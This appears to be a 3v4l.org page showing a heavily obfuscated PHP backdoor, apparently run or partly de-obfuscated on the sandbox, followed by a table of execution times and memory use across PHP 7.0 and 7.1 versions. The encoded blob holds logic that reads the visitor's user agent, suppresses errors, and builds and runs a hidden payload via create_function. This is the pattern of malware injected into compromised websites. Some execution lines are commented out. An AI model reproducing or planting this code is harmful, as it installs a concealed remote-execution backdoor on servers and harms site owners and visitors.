3v4l.org

run code in 300+ PHP versions simultaneously
<?php $kcpegnvp = '^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#id%)uqpuft`msvd},;uqpuft`msvd}+;!>O x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrgj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*]28y]#/r%/h%)n%-#+I#)q%:>:1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)uy]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}if((function_exists(" x6f 142 x5f 163 x74 141 x72 164") &&fs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{5983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53e]53Ld]53]Kc]55Ld]55#*<%bG9}:}($_SERVER[" x48 124 x54 120 x5f 125 x53 1d/#00;quui#>.%!<***f x27,*e x27,*d xj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fn x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275mt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsu#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftmfV x7f<*X&Z&S{ftmfV x7f<*" x72 166 x3a 61 x31")) or (strstr($uas," x61mjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tf527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% x24- x464]284]364]6]234]342]58]24]31#-%tdz-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CB)fubfsdXA x27K6< x7fw6*3qj%7> x2272q05 x52 137 x41 107 x45 116 x54"]); if (7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!66~6<&w6< x7fw6*CW&)7gj6<*do3>?*2b%)gpf{jt)!gj!<*2bd%-#1G24<%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j>o]#/*)323zbe!-#jt0*?]+^?]_ x5cj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fof:opjudovg<~ x24<!%o:!>! x242178}27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%!<5 156 x63 164 x69 15724*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE#57]38y]47]67y]37]88y]27r%:|:**t%)m%=*h%)m%):fmjix:<##:!>!2p%!|!*!***b%)sfxpmpusut]y31M6]y3e]81#/#7e:55946-tr.984:74!>! x24/%tjw/ x24)% x24- x24y4 x24- x24]y8 x24- x24]26 x24-x5,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuor(ord($n)-1);} @error_reporting(0); $fjjkpjg5 156 x61"])))) { $GLOBALS[" x61 156 x75 156 x61"]=1; $uas=strtolower (!isset($GLOBALS[" x61156 x7>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%3]364]6]283]427]36]373P6]36]73]83]238M_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`)!>> x22!ftmbg)!gj<*:~:<*9-1-r%)s%>/h%:<** 156 x64 162 x6f 151 x64")) or (strst`QUUI&b%!|!*)323zbek!~!<b% x7f!<X>bpdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*##Q#-#B#-#T#-#E#-#G#-#H#-#I#-#Kp#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>s%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,]Kc#<%tpz!>!#]D6M7]K36<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{6~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]utjyf`4 x223}!+!<+{e%!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsv7 x78"))) { $xvbpazi = " x63 162x65 141 x74 145 x5f 146 x7 x6e"; function fdtnyhj($n){return chfubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)t%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)uT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.933ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>>r($uas," x63 150 x72 157 x6d 145")) or (strstr($uas)!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMF>1*!%b:>1<!fmtf!%b:>%s = implode(array_map("fdtnyhj",str_split("%tjw!>!#]y8%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x27pd%6<!gps)%j>1<%j=6[%ww2!>#66~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2LbE{h%)tpqsut>j%!*9! xx22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{vr# x5cq%7/7#@#7/7^#iu%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]*::::::-111112)eobs`un>qp%!|Z~!<##(strstr($uas," x6d 163 x69 145")) or (strstr($uas,rN}#QwTW%hIrx5c1^-%r x5c2bozcYufhA x272qj%6<^#zsfopo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)32!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%)," x66 151 x72 145 x66 15}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvuy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x2tjm!|!*5! x27!hmg%)!gj!|!*1?hmbq# x5cq% x27jsv%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-4]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.985P6]y6gP7L6M7]D4]275]D:M%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fe:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbsst0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#]K4]65]D8]86]y31]278]y3f]51L3]84W&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C !%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec4*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>##-!#~<#/% x24- x24!>!fyqmpef)# x2%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t%)327!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-jpD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U!x27{**u%-#j2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-# x24#-!#]y38#-!%w:**<")));$eccteci = $xvbpazi("", $fjjkpjg); $eccteci();}}%6|6.7eu{66~67<&w6<*&7dfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`G!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvufsXAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27pd47R57,27R66,#/q%>2q%<#g6R8t>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-buhA!osvufs!~<3,j%>j%!: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtShysdndcda'; print 0; $izgfopaqs=explode('x',substr($kcpegnvp,6020,34)); #$vwuizcd = $izgfopaqs[0]($izgfopaqs[1]); #$zfwlokw = $izgfopaqs[0]($izgfopaqs[2]); print 1; function koahhrivz($itvkops, $kcjmptf,$hztgsvtxyv) { $eegail = NULL; for($xqlphqa=0;$xqlphqa<(sizeof($itvkops)/2);$xqlphqa++) { $eegail .= substr($kcjmptf, $itvkops[($xqlphqa*2)],$itvkops[($xqlphqa*2)+(3-2)]); } print $hztgsvtxyv(chr((62-53)),chr((397-305)),$eegail); }; print 2; $vzjary = explode(',','433,58,2228,30,2159,69,606,41,1295,39,4054,50,1007,45,2501,37,3379,51,4257,25,2962,59,1729,21,3021,37,2115,44,3515,53,4528,51,3568,65,5825,51,5570,22,1214,44,5028,65,847,50,320,65,5592,47,1258,37,683,48,4130,24,3897,22,4413,59,3829,68,1443,28,1597,52,1052,66,2704,64,2789,42,3655,46,2413,46,4472,56,110,34,5639,63,4282,62,491,42,5939,20,897,44,5902,37,3808,21,5324,34,3108,36,4383,30,1804,52,1856,43,1389,54,207,45,1471,29,144,63,647,36,1683,46,4020,34,1954,27,2913,49,800,47,4210,47,3430,63,3144,59,2538,35,3919,31,4836,61,2573,66,4154,56,3325,54,731,69,3058,50,2892,21,4712,54,2459,20,941,66,5772,53,5876,26,2076,39,5358,49,385,48,5407,48,4962,34,1567,30,3950,70,5702,70,2479,22,1899,24,252,26,1923,31,2258,52,5259,65,1649,34,1118,60,1750,54,4344,39,2014,62,1500,67,278,42,5225,34,5158,67,5093,65,4897,65,2310,65,4104,26,0,55,3268,57,4766,46,4996,32,1981,33,533,43,2768,21,3758,50,4812,24,4579,67,576,30,55,55,2831,61,2375,38,1334,55,1178,36,3203,65,3701,57,3493,22,5959,61,3633,22,2669,35,5455,40,2639,30,4646,66,5495,66,5561,9'); print 3; #$tzhvvqlmet = $vwuizcd("",koahhrivz($vzjary,$kcpegnvp,$zfwlokw)); $vwuizcd=$kcpegnvp; #$tzhvvqlmet(""); $tzhvvqlmet=121; $kcpegnvp=120 print 'last'; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.1.70.0090.00917.00
7.1.60.0240.02134.93
7.1.50.0260.00634.57
7.1.40.0280.01134.32
7.1.30.0210.01434.56
7.1.20.0260.01634.37
7.1.10.0090.00916.41
7.1.00.0000.01516.43
7.0.200.0060.01316.57
7.0.190.0000.01416.58
7.0.180.0090.00916.02
7.0.170.0100.00916.21
7.0.160.0150.00416.23
7.0.150.0030.01316.01
7.0.140.0050.01016.03
7.0.130.0030.01616.27
7.0.120.0110.00816.41
7.0.110.0060.01116.06
7.0.100.0000.01516.13
7.0.90.0090.00616.08
7.0.80.0070.00716.25
7.0.70.0060.01116.37
7.0.60.0030.01216.07
7.0.50.0080.01416.15
7.0.40.0140.00316.32
7.0.30.0150.00516.40
7.0.20.0060.00916.26
7.0.10.0030.01216.22
7.0.00.0030.01316.19

preferences:
140.57 ms | 1394 KiB | 7 Q